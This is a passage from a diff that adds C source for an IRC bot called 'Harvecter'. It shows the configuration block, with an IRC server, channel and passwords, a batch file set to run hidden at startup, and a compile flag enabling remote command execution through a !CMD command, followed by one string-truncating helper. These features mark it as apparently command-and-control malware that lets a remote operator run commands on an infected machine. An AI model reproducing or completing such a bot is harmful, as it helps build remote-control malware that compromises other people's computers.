+//SETTINGS:///////////////////////////////////////////////////////////////
+ char server[] = "irc.2600.net"; //IRC Server
+ int port = 6667; //Port of IRC Server
+ char channel[] = "#hv"; //IRC Channel
+ char pass[] = "test"; //Bot Password
+ char chanpass[] = "lol"; //Channel Password
+ char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup
+ int maxlines_to_send = 3; //Number of max lines to send at one time
+ #define DEBUG //Enables printing/loging
+ #define ENABLE_EXEC //Compile !CMD
+//MAGICS://///////////////////////////////////////////////////////////////
+ #define CONNECT_CHECKER_SLEEP 20000
+ #define CONNECT_FAIL_SLEEP 5000
+ #define IRC_JOIN_SLEEP 2000
+ #define IRC_RETRY_SLEEP 1000
+ #define MAXCHARS 768 //Maximum lenght of IRC message (RFC - 6 * 128 = 768)
+//MISC:///////////////////////////////////////////////////////////////////
+ char version[] = "1.0b-RC1"; //Bot version
+ char cmdfile[] = "zzzcommands.bat";
+ char nick[128] = "Harvecter"; //Doesn't matter - Username of active user (via getenv()) will be used instead
+
+
+//
+//FUNCTIONS://///////////////////////////////////////////////////////////
+
+//CUT String to 768 characters
+void irc_cut_text(char *line) {
+ *(line+MAXCHARS) = 0;
+ *(line+MAXCHARS-1) = '\n';
+ }
+